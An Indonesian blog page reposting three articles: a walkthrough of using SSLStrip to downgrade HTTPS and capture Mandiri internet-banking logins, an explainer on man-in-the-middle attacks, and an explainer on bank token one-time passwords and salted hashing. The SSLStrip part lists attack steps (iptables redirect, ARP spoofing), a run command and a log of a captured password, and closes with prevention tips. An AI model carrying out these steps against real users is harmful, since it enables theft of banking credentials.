Halaman

Select Language For You

Login

Saha Wae

free counters

Your Properties

IP
Sabtu, 20 Maret 2010

MITM Attack on Mandiri Internet Banking using SSLStrip

Https (http over SSL) sebenarnya adalah protokol yang sangat aman, protokol ini menjamin keamanan data dari browser hingga web server. MITM attack (man in the middle) tidak bisa dilakukan terhadap https karena https memiliki fitur authentication sehingga attacker tidak bisa menyamar sebagai web server. Walaupun mitm attack tidak bisa dilakukan terhadap https, namun attacker tetap bisa menyerang user yang menggunakan http sebagai pintu masuk menuju https. Dalam artikel ini saya akan jelaskan tentang SSLStrip, sebuah tool yang dibuat oleh Moxie Marlinspike untuk melakukan serangan mitm terhadap pengguna situs yang dilindungi dengan https.

SSL is not vulnerable to MITM attack

MITM attack adalah serangan dimana attacker berada di tengah bebas mendengarkan dan mengubah percakapan antara dua pihak. Jadi dengan serangan MITM ini attacker tidak hanya pasif mendengarkan, tetapi juga aktif mengubah komunikasi yang terjadi. Sebagai contoh, pada percakapan antara Alice dan Bob, Charlie menjadi pihak yang ditengah melakukan MITM attack. Charlie tidak hanya bisa mendengarkan percakapan itu, namun juga bisa mengubah percakapannya. Ketika Alice berkata “Besok makan siang jam 7″, Charlie bisa mengubahnya menjadi “Besok makan siang dibatalkan” sehingga Bob mengira makan siang dengan Alice tidak jadi.

Kenapa MITM attack bisa terjadi? MITM attack bisa terjadi karena sebelum berkomunikasi kedua pihak tidak melakukan authentication. Authentication berguna untuk memastikan identitas pihak yang berkomunikasi, apakah saya sedang berbicara dengan orang yang benar, atau orang ke-3 (the person in the middle) ? Tanpa authentication Alice akan mengira sedang berbicara dengan Bob, sedangkan Bob juga mengira sedang berbicara dengan Alice, padahal bisa jadi sebenarnya Alice sedang berbicara dengan Charlie dan Bob juga sedang berbicara dengan Charlie, sehingga Charlie bertindak sebagai “the person in the middle”. Seharusnya sebelum Alice dan Bob berbicara, harus ada authentication, untuk memastikan “Who are you speaking with?”. Alice harus memastikan “Are you really Bob? Prove it!”, sedangkan Bob juga harus memastikan “Are you really Alice? Prove it!”.

SSL adalah protokol yang memiliki tingkat keamanan sangat tinggi. SSL tidak hanya mengatur tentang enkripsi, namun juga mengatur tentang authentication sehingga SSL tidak rentan terhadap serangan man in the middle. SSL menggunakan sertifikat yang memanfaatkan kunci publik dan kunci private sebagai cara untuk melakukan authentication. Dengan menggunakan sertifikat SSL ini, pengunjung web bisa yakin sedang berkomunikasi dengan web server yang benar, bukan attacker in the middle yang menyamar menjadi web server suatu situs.

Attacker yang mencoba menjadi “the person in the middle”, akan dengan mudah ketahuan karena attacker tidak bisa membuktikan identitasnya dengan sertifikat SSL yang sah. Sertifikat SSL yang sah haruslah ditandatangani oleh CA (certificate authority) yang dipercaya dan tersimpan dalam daftar trusted CA browser. Jadi bila attacker mencoba membuat sertifikat SSL sendiri, browser akan memberi peringatan keras pada pengunjung bahwa sertifikat SSL tidak bisa dipercaya dan pengunjung disarankan untuk membatalkan kunjungan karena beresiko terkena serangan mitm. Serangan mitm attack baru bisa berhasil bila pengunjung tetap bandel dan nekat untuk menggunakan sertifikat palsu tersebut. Bila ini yang terjadi, maka kesalahan ada pada pengguna, bukan kelemahan SSL sebagai protokol. Lebih detil tentang https silakan baca Understanding Https.

HTTPS vs HTTP, Trusted vs Untrusted

http adalah protokol yang tidak bisa dipercaya karena rentan terhadap serangan mitm. Sedangan http over SSL (https) adalah protokol yang bisa dipercaya karena protokol ini tidak rentan terhadap serangan mitm. Informasi yang dilihat pengunjung pada browser di sebuah page http sebenarnya tidak bisa dipercaya karena tidak ada jaminan integritas dan keontentikan data. Informasi tersebut kemungkinan sudah diubah di tengah jalan atau berasal dari sumber yang tidak otentik (orang lain). dan pengunjung tidak bisa melakukan verifikasi.

Sedangkan informasi yang dilihat pengunjung pada browser di sebuah halaman https bisa dipercaya karena DIJAMIN informasi yang diterima adalah sama dengan yang dikirim web server dan informasi tersebut juga DIJAMIN dikirim oleh web server yang benar. Dulu saya pernah menulis artikel tentang Trusted vs Untrusted klikBCA, yang menjelaskan tentang adanya dua subdomain yang berbeda, yang trusted menggunakan https dan yang untrusted menggunakan http.

HTTP as Gate to HTTPS

Jarang sekali orang mengunjungi situs dengan mengetikkan https:// bahkan http:// pun orang sudah malas. Kebanyakan orang langsung mengetikkan alamat situs yang ditujunya tanpa harus diawali dengan http:// atau https://. Secara default browser akan berasumsi bahwa pengunjung akan menggunakan protokol http, bukan https bila pengunjung tidak menyebutkan protokolnya.

Kebanyakan situs yang harus memakai https, memang dirancang untuk menerima request melalui http (port 80) atau https (port 443). Situs pada port 80 biasanya hanya dijadikan jembatan untuk menuju situs yang sebenarnya pada port 443. Bila pengunjung masuk melalui port 80, maka server akan memberikan link untuk menuju URL https, atau dengan memberikan response Redirect.

Jadi bisa disimpulkan bahwa sebagian besar pengunjung memasuki https dengan melalui http, dengan kata lain http sebagai gerbang menuju https. Metode peralihan dari situs http ke situs https ada beberapa cara, yaitu:

* Memberikan link menuju URL https.
* Memberikan response redirect ke URL https.
* Menggunakan META tag auto refresh ke URL https.
* Menggunakan javascript untuk load halaman https.

Attacking HTTP, not HTTPS

Sebelumnya sudah saya jelaskan bahwa https adalah protokol yang sangat secure sehingga tidak bisa diserang dengan serangan mitm. Namun mengingat kenyataan bahwa kebanyakan orang mengakses https melalui http, maka attacker memiliki peluang untuk menyerang ketika pengunjung masih berada dalam protokol http.

SSLStrip adalah tool untuk melakukan mitm attack pada protokol http (bukan HTTPS), dengan maksud untuk menyerang situs-situs yang dilindungi dengan https. SSLStrip sebagai “the person in the middle”, akan mencegah peralihan dari http ke https dengan secara aktif mengubah response dari server sehingga pengunjung akan tetap berada dalam protokol http.

Mari kita lihat beberapa cara peralihan dari http ke https, saya tambahkan cara SSLStrip mencegah peralihan itu:

* Memberikan link menuju URL https: SSLStrip akan mengubah link berawalan https menjadi http. Sehingga yang muncul di browser korban bukan link ke https melainkan link ke http.
* Memberikan response redirect ke URL https: SSLStrip akan mengubah header Location dari URL berawalan https menjadi http.
* Menggunakan META tag auto refresh ke URL https: SSLStrip akan mengubah url https menjadi http.
* Menggunakan javascript untuk load halaman https: SSLStrip akan mengubah url https menjadi http.

Untuk lebih jelasnya berikut adalah gambar yang menunjukkan salah satu cara kerja SSLStrip mencegah korban beralih dari http ke https.
Opening Bank Front Page

Opening Bank Front Page

Pada gambar di atas korban mengakses web server bank dengan URL http://bank/. Request tidak secara langsung dikirim ke web server, namun melalui SSLStrip dulu. SSLStrip meneruskan request tersebut ke web server. Kemudian web server menjawab dengan memberikan html berisi link ke URL https://bank/login/ kepada SSLStrip. Sebelum response html diterima oleh browser, SSLStrip mengubah response tersebut dengan mengubah URL https menjadi http biasa sehingga HTML yang diterima di browser korban berisi link ke URL http://bank/login/ bukan https://bank/login/.
Opening login page

Opening login page

Korban mengklik link pada halaman yang muncul browsernya, tentu saja link ini bukan ke https://bank/login/ melainkan ke http://bank/login/. Dengan cara ini browser tetap dalam protokol http bukan dalam protokol https seperti seharusnya, dengan kata lain SSLStrip berhasil mencegah browser beralih ke protokol https. Request ke http://bank/login/ tersebut dikirimkan ke SSLStrip. Kemudian SSLStrip tidak meneruskan request tersebut ke http://bank/login/, melainkan membuat request baru ke https://bank/login/. Kemudian web server mengirimkan response dari response tersebut ke SSLStrip. Seperti biasanya SSLStrip akan mengubah response dari server tersebut untuk mencegah peralihan ke https. Response yang telah diubah ini kemudian dikirimkan ke browser korban sehingga korban tetap melihat halaman yang sama persis seperti ketika dia membuka https://bank/login/. Dengan tampilan yang sama persis ini, korban mengira sedang membuka https://bank/login/, padahal sebenarnya dia sedang membuka http://bank/login/. Perhatikan bahwa koneksi antara browser dengan SSLStrip adalah dalam http biasa, sedangkan dari SSLStrip ke web server dalam https.
submit username and password

submit username and password

Setelah muncul halaman login dan korban mengira sedang membuka https://bank/login, kemudian korban memasukkan username dan password dan mengklik tombol Login. Browser akan membuat POST request ke http://bank/login/ yang diterima oleh SSLStrip. Karena protokolnya adalah http, maka SSLStrip dengan mudah bisa membaca username dan password yang dimasukkan korban. SSLStrip kemudian akan mengirimkan username dan password korban degan POST request ke https://bank/login/. Seperti biasa jawaban dari webserver akan dimodifikasi dulu seperlunya oleh SSLStrip sebelum dikirimkan ke browser korban.

Perhatikan bahwa korban sejak awal hingga login mengakses situs dengan http, sedangkan SSLStrip di tengah-tengah membuat koneksi https ke web server yang sebenarnya. Jadi walaupun browser mengakses dengan http, namun response yang diterima browser berasal dari koneksi https yang dibuat oleh SSLStrip.

Case Study: Mandiri Internet Banking

Mari kita coba trik di atas dengan contoh kasus pada situs internet banking Mandiri. Karena ini hanya contoh, saya tidak menggunakan teknik ARP Spoofing untuk melakukan MITM attack yang sesungguhnya. Saya sengaja mengubah setting browser saya agar menggunakan proxy, yaitu SSLStrip. Dalam website SSLStrip, disebutkan seharusnya cara untuk melakukan MITM attack dengan SSLStrip adalah:

* Setting komputer agar bisa melakukan forwarding paket
* Setting iptables untuk mengarahkan traffic HTTP ke SSLStrip
* Jalankan SSLStrip
* Gunakan ARPSpoof untuk meyakinkan jaringan bahwa traffic harus dikirimkan melalui komputer yang menjalankan SSLStrip.

Dalam contoh ini saya tidak melakukan ARPSpoofing, namun saya menggunakan SSLStrip sebagai proxy yang saya setting dalam browser saya. Sehingga setiap traffic http yang dilakukan browser saya akan dikirimkan melalui SSLStrip sebagai man in the middle.

Saya menjalankan SSLStrip di linux dengan IP address 192.168.0.10. Cara menjalankannya mudah sekali, cukup jalankan perintah: python sslstrip.py -l portnumber . Kemudian pada browser saya setting untuk menggunakan proxy 192.168.0.10 dan port sesuai dengan port sslstrip. Untuk lebih jelasnya, perhatikan gambar di bawah ini:
setting up SSLStrip as proxy in IE

setting up SSLStrip as proxy in IE

Setelah semuanya siap, mari kita coba melakukan serangan mitm. Pada skenario ini, korban akan login ke Mandiri IB tidak dengan mengetikkan https://ib.bankmandiri.co.id, karena korban hanya hafal bankmandiri.co.id saja maka korban langsung mengetikkan bankmandiri.co.id (tanpa diawali www atau http://). Secara default browser akan menganggap korban menghendaki koneksi dengan protokol http, bukan https. Request http tersebut dikirimkan melalui SSLStrip sebagai man in the middle, dan berikut adalah response yang diterima di browser korban. Sebagai pembanding saya juga berikan gambar screenshot halaman depan bank mandiri yang asli (tidak dimodifikasi sslstrip).
bank mandiri front page modified by sslstrip

bank mandiri front page modified by sslstrip
real mandiri front page (not modified)

real mandiri front page (not modified)

Login ke Mandiri IB dilakukan dengan mengklik tombol Login di halaman depan bank mandiri. Login tersebut sebenarnya adalah link ke URL https, namun SSLStrip mengubahnya menjadi http agar korban tidak beralih ke modus https. Berikutnya korban akan mengklik tombol Login, sehingga browser akan mengakses URL http://ib.bankmandiri.co.id (bukan https://). Berikut adalah gambar screenshot halaman login Mandiri IB yang telah dimodifikasi sslstrip dan yang masih asli. Kedua gambar di bawah ini sangat mirip, perbedaannya hanya pada penggunaan awalan http:// dan https://. Saya yakin kebanyakan orang tidak akan menyadari bahwa dia sedang menggunakan http biasa, bukan https.
Mandiri IB login page modified by sslstrip

Mandiri IB login page modified by sslstrip
real login page, https version and not modified

real login page, https version and not modified

Berikutnya setelah bertemu dengan halaman login, korban akan dengan senang hati memasukkan username dan password. Request tersebut dikirimkan dalam request POST http (bukan https) ke sslstrip. Karena POST dikirim melalui http, maka sslstrip bisa dengan mudah menyimpan username dan password korban.Berikut ini adalah log dari sslstrip yang menangkap username dan password Mandiri IB.

1
2
3



2009-05-06 12:00:43,339 Sending header: content-type: application/x-www-form-urlencoded
2009-05-06 12:00:43,339 Sending header: proxy-connection: Keep-Alive
2009-05-06 12:00:43,339 POST Data (ib.bankmandiri.co.id): action=result&userID=sensordong&password=rahasiabangetsensor&image.x=79&image.y=20

Setelah itu sslstrip akan mengirimkan username dan password korban dalam POST request ke URL https (ini adalah url submit yang asli). Response yang diberikan oleh webserver Mandiri IB akan dimodifikasi seperlunya dan dikembalikan ke browser korban. Bila login berhasil, maka korban akan melihat tampilan seperti gambar dibawah ini, sebagai pembanding saya juga sertakan gambar bila menggunakan protokol https.
login success page in http mode, modified by sslstrip

login success page in http mode, modified by sslstrip
real login success page, https mode, not modified

real login success page, https mode, not modified

Seperti pada halaman login, halaman setelah login berhasil juga sama persis walaupun menggunakan protokol http. Korban tidak akan menyadari bahwa dia sedang menggunakan http, bukannya https karena tampilannya memang tidak ada bedanya.

Tips Pencegahan

Serangan mitm dengan sslstrip ini dilakukan dengan memanfaatkan kemalasan pengguna untuk langsung menggunakan https. Pengguna yang malas memilih untuk menggunakan http biasa dan berharap di-redirect ke url https otomatis atau menemukan link ke url https. Padahal pada saat pengguna menggunakan http biasa itulah pengguna berpotensi terkena serangan mitm. Bila pengguna langsung menggunakan https, maka pengguna akan aman dan terbebas dari serangan mitm. Jadi mulai sekarang biasakanlah mengetikkan https:// di URL anda bila ingin mengakses situs yang sensitif.

Sumber : Here

Mengenal Serangan Man-in-The-Middle (MITM)

Sudah banyak artikel di ilmuhacking yang membahas teknik serangan man in the middle (mitm), namun belum pernah saya menjelaskan secara detil tentang apa itu mitm attack. Mitm attack merupakan jenis serangan yang sangat berbahaya dan bisa terjadi di mana saja, baik di website, telepon seluler, maupun di peralatan komunikasi tradisional seperti surat menyurat. Oleh karena itu saya pikir perlu ada satu artikel khusus yang membahas tentang mitm attack terlepas dari apapun dan dimanapun implementasi teknisnya.

Bukan Sekedar Sniffing

Mungkin banyak yang mengira tujuan dari serangan mitm adalah untuk menyadap komunikasi data rahasia, seperti yang sniffing. Sniffing bisa disebut sebagai passive attack karena pada sniffing attacker tidak melakukan tindakan apa-apa selain memantau data yang lewat. Memang benar dengan serangan mitm, seorang attacker bisa mengetahui apa yang dibicarakan oleh dua pihak yang berkomunikasi. Namun sebenarnya kekuatan terbesar dari mitm bukan pada kemampuan sniffingnya, namun pada kemampuan mencegat dan mengubah komunikasi sehingga mitm attack bisa disebut sebagai jenis serangan aktif.

Gambar di bawah ini adalah skenario yang bisa dilakukan attacker dengan serangan mitm.
mitm scenario: sniffing,intercepting,tampering,fabricating

sniffing,intercepting,tampering,fabricating

Pada gambar tersebut terlihat ada 4 macam serangan yang bisa dilakukan dengan MITM. Berikut adalah penjelasan dari jenis serangan tersebut dalam skenario seperti gambar di atas.

* Sniffing: Charlie mengetahui semua pembicaraan antara Alice dan Bob.
* Intercepting: Charlie mencegat pesan dari Alice ketika Alice ingin menutup percakapan dengan “Bob I’m going to sleep, Bye!”. Dengan begini Bob mengira Alice masih berkomunikasi dengannya.
* Tampering: Charlie mengubah jawaban Bob kepada Alice dari account Paypal bob menjadi charlie.
* Fabricating: Charlie menanyakan nomor social security number kepada Bob, padahal pertanyaan ini tidak pernah diajukan oleh Alice.

Dengan cara mitm ini bisa dibayangkan betapa besar potensi kerusakan yang bisa dilakukan Charlie kepada Alice dan Bob.

Proses Terjadinya Serangan Man-in-The-Middle

Dalam serangan mitm, seorang attacker akan berada di tengah-tengah komunikasi antara dua pihak. Seluruh pembicaraan yang terjadi di antara mereka harus melalui attacker dulu di tengah. Attacker dengan leluasa melakukan penyadapan, pencegatan, pengubahan bahkan memalsukan komunikasi seperti yang sudah saya jelaskan sebelumnya.

Sekarang mari kita lihat proses terjadinya MITM dalam contoh kasus Alice berkomunikasi dengan Bob. Charlie sebagai attacker akan berusaha berada di tengah antara Alice dan Bob. Agar Charlie berhasil menjadi orang ditengah, maka Charlie harus:

* menyamar sebagai Bob dihadapan Alice
* menyamar sebagai Alice dihadapan Bob

Charlie acts as fake Bob and fake Alice

Charlie acts as fake Bob and fake Alice

Dalam mitm, Alice mengira sedang berbicara dengan Bob, padahal dia sedang berbicara dengan Charlie. Begitu juga Bob, dia mengira sedang berbicara dengan Alice, padahal sebenarnya dia sedang berbicara dengan Alice. Jadi agar bisa menjadi orang di tengah Charlie harus bisa menyamar di dua sisi, tidak bisa hanya di satu sisi saja.

Kenapa Alice dan Bob bisa terjebak dan tertipu oleh Charlie? Itu karena Alice dan Bob tidak melakukan otentikasi dulu sebelum berkomunikasi. Otentikasi akan menjamin Alice berbicara dengan Bob yang asli, bukan Bob palsu yang diperankan oleh Charlie. Begitu juga dengan otentikasi, Bob akan berbicara dengan Alice yang asli, bukan Alice palsu yang diperankan oleh Charlie.

Pentingnya Otentikasi: Who Are You Speaking With?

Otentikasi adalah proses untuk membuktikan identitas suatu subjek, bisa orang atau mesin. Proses membuktikan identitas seeorang ada banyak cara, namun semuanya bisa dikelompokkan dalam 3 kategori:

* What you know: PIN, password, pasangan kunci publik-privat
* What you have: smart card, kunci, USB dongle
* What you are: fingerprint, retina

Secara singkat otentikasi menjawab pertanyaan “Who are you speaking with?”. Pertanyaan itu sangat penting diketahui sebelum dua pihak berkomunikasi. Bila dua pihak berkomunikasi tanpa sebelumnya melakukan otentikasi, maka keduanya bisa terjebak berbicara dengan orang yang salah, yaitu orang yang menyamar menjadi lawan bicaranya. Bila sampai ini terjadi maka akibatnya bisa sangat fatal, salah satunya adalah terjadinya mitm attack.

Bila dua orang yang sudah saling mengenal berbicara dengan tatap muka langsung, maka tidak mungkin keduanya terjebak dan tertipu berbicara dengan orang yang salah. Otentikasi menjadi sangat penting bila kedua pihak berbicara melalui media komunikasi jarak jauh seperti telpon atau internet. Dalam komunikasi jarak jauh, kita hanya bisa mendengar suara lawan bicara kita, jadi sangat besar kemungkinan kita berbicara dengan orang yang salah.

Jadi cara untuk mencegah serangan MITM adalah dengan melakukan otentikasi sebelum berkomunikasi. Bahkan walaupun otentikasi dilakukan oleh salah satu pihak saja, itu sudah cukup untuk mencegah mitm. Mari kita lihat kembali contoh Alice, Bob dan Charlie, bila otentikasi hanya dilakukan oleh Bob, sedangkan Alice tidak. Karena tidak adanya otentikasi Alice, maka Charlie bisa menyamar sebagai Alice di hadapan Bob, namun Charlie tidak bisa menyamar sebagai Bob di hadapan Alice. Kenapa Charlie tidak bisa menyamar menjadi Bob? Sebab Alice akan menguji keaslian Bob dengan otentikasi, sehingga penyamaran Charlie sebagai Bob palsu akan terbongkar dan Alice tidak akan mau melanjutkan komunikasi.

Sumber : Here

Memahami Cara Kerja Token Internet Banking

Penggunaan token berupa alat kecil semacam kalkulator untuk mengamankan transaksi internet banking kini sudah menjadi hal yang wajib. Token ini menjadi faktor tambahan dalam otentikasi yaitu untuk membuktikan bahwa anda adalah benar-benar pengguna yang sah. Mungkin ada yang bertanya-tanya bagaimana cara kerja token seperti yang dipakai situs internet banking? Bagaimana alat kecil seperti kalkulator itu bisa menghasilkan angka yang juga diketahui oleh server internet banking, padahal alat itu tidak terbubung dengan server. Dalam artikel ini saya akan menjelaskan cara kerja token internet banking, dan dalam artikel berikutnya saya akan membuat token berbasis software dan website sederhana yang akan mensimulasikan internet banking.

Authentication Method

Otentikasi bertujuan untuk membuktikan siapa anda sebenarnya, apakah anda benar-benar orang yang anda klaim sebagai dia (who you claim to be). Ada banyak cara untuk membuktikan siapa anda. Metode otentikasi bisa dilihat dalam 3 kategori metode:

1. Something You Know

Ini adalah metode otentikasi yang paling umum. Cara ini mengandalkan kerahasiaan informasi, contohnya adalah password dan PIN. Cara ini berasumsi bahwa tidak ada seorangpun yang mengetahui rahasia itu kecuali anda seorang.
2. Something You Have

Cara ini biasanya merupakan faktor tambahan untuk membuat otentikasi menjadi lebih aman. Cara ini mengandalkan barang yang sifatnya unik contohnya adalah kartu magnetik/smartcard, hardware token, USB token dan sebagainya. Cara ini berasumsi bahwa tidak ada seorangpun yang memiliki barang tersebut kecuali anda seorang.
3. Something You Are

Ini adalah metode yang paling jarang diapakai karena faktor teknologi dan manusia juga. Cara ini mengandalkan keunikan bagian-bagian tubuh anda yang tidak mungkin ada pada orang lain seperti sidik jari, suara atau sidik retina. Cara ini berasumsi bahwa bagian tubuh anda seperti sidik jari dan sidik retina, tidak mungkin sama dengan orang lain.

Lalu bagaimana dengan metode otentikasi tradisional seperti tanda tangan di atas materai? Masuk ke kategori manakah cara itu dari ketiga metode di atas? Saya pikir tidak ada yang cocok, karena itu saya tambahkan satu lagi yaitu “Something You Can“. Cara ini berasumsi bahwa tidak ada orang lain di dunia ini yang bisa melakukan itu selain anda. Memang otentikasi dengan tanda tangan dibangun di atas asumsi itu, tidak ada yang bisa menuliskan tanda tangan anda kecuali anda. Walaupun pada kenyataannya ada saja orang yang bisa meniru tanda tangan anda dengan sangat baik, namun walaupun menyadari fakta tersebut tanda tangan di atas kertas tetap diakui sebagai bukti otentik atas siapa anda.

Two Factor Authentication

Pada aplikasi yang kritis dan sensitif seperti transaksi keuangan, satu metode otentikasi saja tidak cukup. Oleh karena itu muncul istilah 2FA (Two Factor Authentication) yang merupakan sistem otentikasi yang menggunakan 2 faktor (metode) yang berbeda. Empat metode otentikasi yang sudah saya jelaskan sebelunya dapat dikombinasikan untuk meningkatkan keamanan, salah satu contohnya adalah dengan kombinasi “something you have” berupa kartu ATM dengan “something you know” berupa PIN. Kombinasi ini merupakan kombinasi yang paling banyak dipakai.

Contoh kasus lain adalah ketika anda berbelanja di pasar modern dan membayar dengan kartu, tanpa disadari anda telah memakai lebih dari satu faktor otentikasi. Faktor yang pertama adalah “Something You Have” yaitu kartu debit/kredit anda. Faktor kedua adalah “Something You Know”, ketika anda diminta memasukkan PIN ke dalam mesin EDC. Bahkan mungkin ada faktor ketiga yaitu “Something You Can”, ketika anda diminta menanda-tangani nota pembayaran yang dicetak mesin EDC.

Internet banking juga menggunakan two factor authentication dengan mengombinasikan “something you know” berupa password dan “something you have” berupa hardware token (keyBCA atau Token Mandiri).

Password yang Dikeluarkan Token Internet Banking

Pada umumnya ada dua mode pemakaian token internet banking:

1. Mode Challenge/Response (C/R)

Ini adalah mode yang paling sering dipakai ketika bertransaksi. Dalam mode ini server memberikan challenge berupa sederetan angka. Angka tersebut harus dimasukkan kedalam mesin token untuk mendapatkan jawaban (response). Kemudian pengguna memasukkan angka yang muncul pada tokennya ke dalam form di situs internet banking. Token akan mengeluarkan kode yang berbeda-beda walaupun dengan challenge code yang sama secara periodik tergantung waktu ketika challenge dimasukkan ke dalam token.
2. Mode Self Generated (Response Only)

Dalam mode ini server tidak memberikan tantangan (challenge) apapun. Token pengguna bisa langsung mengeluarkan sederetan angka tanpa harus memasukkan challenge. Seperti mode C/R, token juga mengeluarkan kode yang berbeda-beda secara periodik tergantung waktu ketika token diminta untuk menghasilkan kode self generated.

Sebenarnya jawaban yang diberikan oleh token baik dalam mode C/R maupun Self Generated(resopnse only) tidak lain adalah password juga. Namun berbeda dengan password yang anda pakai untuk login, password yang dihasilkan token ini memiliki keterbatasan untuk alasan keamanan, yaitu:

1. Hanya boleh dipakai 1 kali

Ini disebut dengan OTP (One Time Password). Setelah suatu password dipakai, maka password yang sama tidak bisa lagi dipakai untuk kedua kalinya. Dengan cara ini tidak ada gunanya menyadap password yang dihasilkan token karena password tersebut tidak bisa dipakai lagi. Namun bila password tersebut di-intercept sehingga tidak pernah sampai ke server, maka password tersebut masih berharga karena di mata server, password itu belum pernah dipakai.
2. Hanya boleh dipakai dalam rentang waktu yang terbatas

Password yang dihasilkan token memiliki umur yang sangat terbatas, mungkin antara 3-6 menit bila umurnya habis maka password itu tidak bisa dipakai, walaupun belum pernah dipakai. Nanti akan saya jelaskan mengapa password token memerlukan umur, waktu merupakan unsur yang sangat kritikal dalam sistem ini.
3. Hanya boleh dipakai dalam konteks sempit

Bila password/PIN yang dipakai untuk login adalah password yang bebas konteks, dalam arti dengan berbekal password itu, anda bisa melakukan banyak hal, mulai dari melihat saldo, mengecek transaksi dan sebagainya. Namun password yang dihasilkan token, hanya bisa dipakai dalam konteks sempit, contohnya password yang dipakai untuk mengisi pulsa ke nomor 08123456789, tidak bisa dipakai untuk melakukan transfer dana.

Terbatasnya konteks ini disebabkan karena untuk melakukan transaksi dibutuhkan password yang diikat oleh challenge dari server, sehingga password tersebut tidak bisa dipakai untuk transaksi lain yang membutuhkan challenge code yang berbeda. Contohnya bila challenge yang diberikan server adalah 3 digit terakhir dari nomor handphone (untuk transaksi isi pulsa), atau 3 digit terakhir nomor rekening tujuan (untuk transaksi transfer). Maka password yang dihasilkan token untuk transaksi isi pulsa ke nomor 0812555111222, akan valid juga untuk transaksi transfer uang ke rekening 155887723120222. Sebab kebetulan kedua transaksi tersebut membutuhkan password yang diikat oleh challenge code yang sama, yaitu 222 (diambil dari 3 digit terakhir).

Konteks ini hanya berlaku bila password dihasilkan dalam mode C/R. Password yang dihasilkan dalam mode Self Generated, bisa dipakai dalam transaksi apa saja yang tidak meminta password dengan challenge code.

Jadi bisa disimpulkan bahwa password yang dikeluarkan token bersifat:

1. Selalu berubah-ubah secara periodik
2. Memiliki umur yang singkat
3. Hanya bisa dipakai 1 kali
4. Terbagi dalam ada dua jenis, yaitu:

* Password kontekstual yang terikat oleh challenge code dalam mode challenge/response.
* Password bebas konteks yang dihasilkan dalam mode self generated.

Proses Otentikasi

Seperti password pada umumnya, syarat agar otentikasi berhasil adalah:

password yang dikirimkan client = password yang disimpan di server

Dengan alasan keamanan jarang sekali server menyimpan password user dalam bentuk plain-text. Biasanya server menyimpan password user dalam bentuk hash sehingga tidak bisa dikembalikan dalam bentuk plain-text. Jadi syarat otentikasi berhasil di atas bisa diartikan sebagai hasil penghitungan hash dari password yang dikirim klien harus sama dengan nilai hash yang disimpan dalam server. Perhatikan gambar di bawah ini untuk lebih memahami.
courtesy of "www.unixwiz.net/techtips/iguide-crypto-hashes.html"

courtesy of "www.unixwiz.net/techtips/iguide-crypto-hashes.html"

Penggunaan Salt

Untuk menghindari brute-force attack terhadap hash yang disimpan di server, maka sebelum password user dihitung nilai hashnya, terlebih dahulu ditambahkan string acak yang disebut dengan salt. Perhatikan contoh berikut, bila password user adalah “secret”, maka sebelum dihitung nilai hashnya, password ditambahkan dulu salt berupa string acak “81090273″ sehingga yang dihitung nilai hashnya adalah “secret81090273″ bukan “secret”.

Perhatikan bahwa nilai MD5(“secret81090273″) adalah 894240dbe3d2b546c05a1a8e9e0df1bc sedangkan nilai MD5(“secret”) adalah 5ebe2294ecd0e0f08eab7690d2a6ee69. Bila tanpa menggunakan salt, maka attacker yang mendapatkan nilai hash 5ebe2294ecd0e0f08eab7690d2a6ee69 bisa menggunakan teknik brute force attack atau rainbow table untuk mendapatkan nilai password dalam plain-text. Salah satu contoh database MD5 online yang bisa dipakai untuk crack md5 adalah http://gdataonline.com/seekhash.php . Dalam situs tersebut coba masukkan nilai 5ebe2294ecd0e0f08eab7690d2a6ee69, maka situs tersebut akan memberikan hasil “secret”. Hal ini disebabkan karena situs tersebut telah menyimpan pemetaan informasi secret<=>5ebe2294ecd0e0f08eab7690d2a6ee69.

Penambahan salt “81090273″ membuat nilai hash menjadi 894240dbe3d2b546c05a1a8e9e0df1bc. Bila nilai ini dimasukkan dalam situs tersebut, dijamin tidak akan ada dalam databasenya bahwa nilai hash tersebut adalah “secret81090273″. Dan karena nilai salt ini dibangkitkan secara random, maka tiap user memiliki nilai salt yang berbeda sehingga tidak mungkin attacker bisa membangun database pemetaan antara plaintext dan hash secara lengkap.

Dengan penggunaan salt, maka database pengguna dalam server akan tampak seperti ini:
Username Salt Password Hash
budi 81090273 894240dbe3d2b546c05a1a8e9e0df1bc

Field salt diperlukan ketika melakukan otentikasi. Password yang dikirimkan user akan ditambahkan dulu dengan nilai salt ini baru kemudian dihitung nilai hashnya. Nilai hash hasil perhitungan tersebut akan dibandingkan dengan field Password Hash yang ada di kolom sebelahnya. Bila sama, maka otentikasi berhasil, bila tidak sama, berarti otentikasi gagal. Secara prinsip sama saja dengan gambar di atas, hanya ditambahkan satu langkah yaitu penambahan salt sebelum dihitung nilai hashnya.

Pembangkitan One Time Password (OTP) Token Internet Banking

Apa yang saya jelaskan sebelumnya menjadi dasar dari apa yang akan saya jelaskan berikut ini. Bagaimana cara token menghasilkan sederetan angka sebagai OTP yang bisa diotentikasi oleh server? Ingat bahwa syarat agar otentikasi berhasil adalah password yang dikirim klien harus sama dengan yang disimpan di server. Ingat juga bahwa password yang dihasilkan token selalu berubah-ubah secara periodik. Bagaimana apa yang dihasilkan alat itu bisa sinkron dengan server? Padahal alat tersebut tidak terhubung dengan server, bagaimana server bisa tahu berapa nilai yang dihasilkan token? Jawabannya adalah dengan waktu. Sebelumnya sudah saya sebutkan bahwa waktu adalah elemen yang sangat penting dalam sistem ini. Server dan token dapat sinkron dengan menggunakan waktu sebagai nilai acuan.

OTP dalam Mode Self Generated (Response Only)

Saya akan jelaskan mulai dari pembangkitan OTP dalam mode self generated atau response only. Sebelumnya tentu saja, server dan token harus menyepakati sebuah nilai awal rahasia (init-secret). Nilai awal ini disimpan (ditanam) dalam token dan disimpan juga dalam tabel di server.

Ketika pada suatu waktu tertentu token diminta menghasilkan OTP tanpa challenge code, inilah yang dilakukan token:

1. Mengambil waktu saat ini dalam detik berformat EPOCH (jumlah detik sejak 1 Januari 1970), biasanya dalam granularity 10 detik, sehingga nilai EPOCH dibagi 10.
2. Menggabungkan init-secret dengan waktu saat ini dari langkah 1.
3. Menghitung nilai hash gabungan init-secret dan waktu dari langkah 2.

Nilai hash dari langkah 3 inilah yang menjadi OTP. Namun biasanya OTP diambil dari beberapa karakter/digit di awal hash.

Bagaimana cara server melakukan otentikasi? Caranya mirip dengan yang dilakukan token, yaitu dengan menghitung nilai hash gabungan init-secret dengan waktu saat ini dan mengambil beberapa digit di awal sebagai OTP. Bila OTP yang dikirim user sama dengan OTP yang didapatkan server dari perhitungan hash, maka otentikasi berhasil.

Namun ada sedikit catatan yang harus diperhatikan terkait waktu. Untuk memberikan toleransi perbedaan waktu antara token dan server, dan juga jeda waktu dari sejak server meminta password sampai user meminta token membangkitkan token, maka server harus memberikan toleransi waktu.

